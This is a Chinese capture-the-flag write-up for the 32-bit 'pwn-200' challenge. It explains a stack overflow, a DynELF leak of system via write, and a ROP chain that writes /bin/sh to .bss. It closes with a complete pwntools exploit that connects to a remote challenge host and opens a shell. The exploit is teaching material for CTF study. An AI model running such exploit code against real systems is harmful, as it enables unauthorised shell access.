文件下载地址:
链接:https://pan.baidu.com/s/1W-bn57DPwr0GZlOsAl2enQ
提取码:z3sy
目录
这题又遇到本地失败了,远程成功了,本地在开启交互后,输入指令后什么都没有。。。。
0x01.分析
checksec:
32位程序,只开启NX。
查看源码:
分析源码:
- 从源码可以得出,主要在read出有栈溢出漏洞。
- 程序并没有留后门,得靠自己想办法去执行,system('/bin/sh')。
漏洞利用思路:
- 首先想到了系统调用,但是没有找到符合条件得gadget。
- 然后想到利用泄露write函数,去得到libc版本,经过实践,发现不可行,找不到libc版本号。
- 没有libc,但存在栈溢出,于是我们想到使用DynELF。
漏洞利用:
- 首先需要确定偏移量,很简单0x6c+4=112。
- 然后需要构造leak函数,传给DynELF,实例化对象。
- leak得基本构造思路为:112*'A'+write_plt+(漏洞存在得函数的地址,便于反复利用)+1(write的第一个参数)+address(leak函数的参数,给DyELF使用)+4(write的参数,打印8位地址使用)。
- 构造好这个leak函数后,然后就能通过DyELF得到的实例对象得到system的地址。
- 为了防止循环制造溢出导致栈结构发生不可预料的变化,调用_start,重新启动程序,恢复栈结构。
- 由于没有/bin/sh,所以我们需要利用read将/bin/sh写入bss段。
- 写入后需要返回到system的地址,然后将/bin/sh作为参数。
- 由于这里调用两个函数并含有参数,所以需要调整栈平衡,read有三个参数,所以需要三次pop,可以利用ROPgadget查找。
0x02.exp
#!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",34475)
#r=process('./pwn-200')
elf=ELF('./pwn-200')
#context.log_level = "debug"
write_plt=elf.plt['write']
read_plt=elf.plt['read']
vul_addr=0x08048484
bss_addr=0x0804A020
start_addr=0x080483D0
pop_3_addr=0x0804856c
fillchar=112*'A'
def leak(address):
payload=fillchar
payload+=p32(write_plt)
payload+=p32(vul_addr)
payload+=p32(1)
payload+=p32(address)
payload+=p32(4)
r.send(payload)
data=r.recv(4)
print "%#x => %s"%(address,(data or '').encode('hex'))
return data
print r.recvline()
d=DynELF(leak,elf=ELF('./pwn-200'))
system_addr=d.lookup("system","libc")
print "system_addr is ",hex(system_addr)
payload1=fillchar
payload1+=p32(start_addr)
r.sendline(payload1)
print r.recv()
payload2=fillchar
payload2+=p32(read_plt)
payload2+=p32(pop_3_addr)
payload2+=p32(1)
payload2+=p32(bss_addr)
payload2+=p32(8)
payload2+=p32(system_addr)
payload2+=p32(0)
payload2+=p32(bss_addr)
r.sendline(payload2)
r.sendline('/bin/sh')
r.interactive()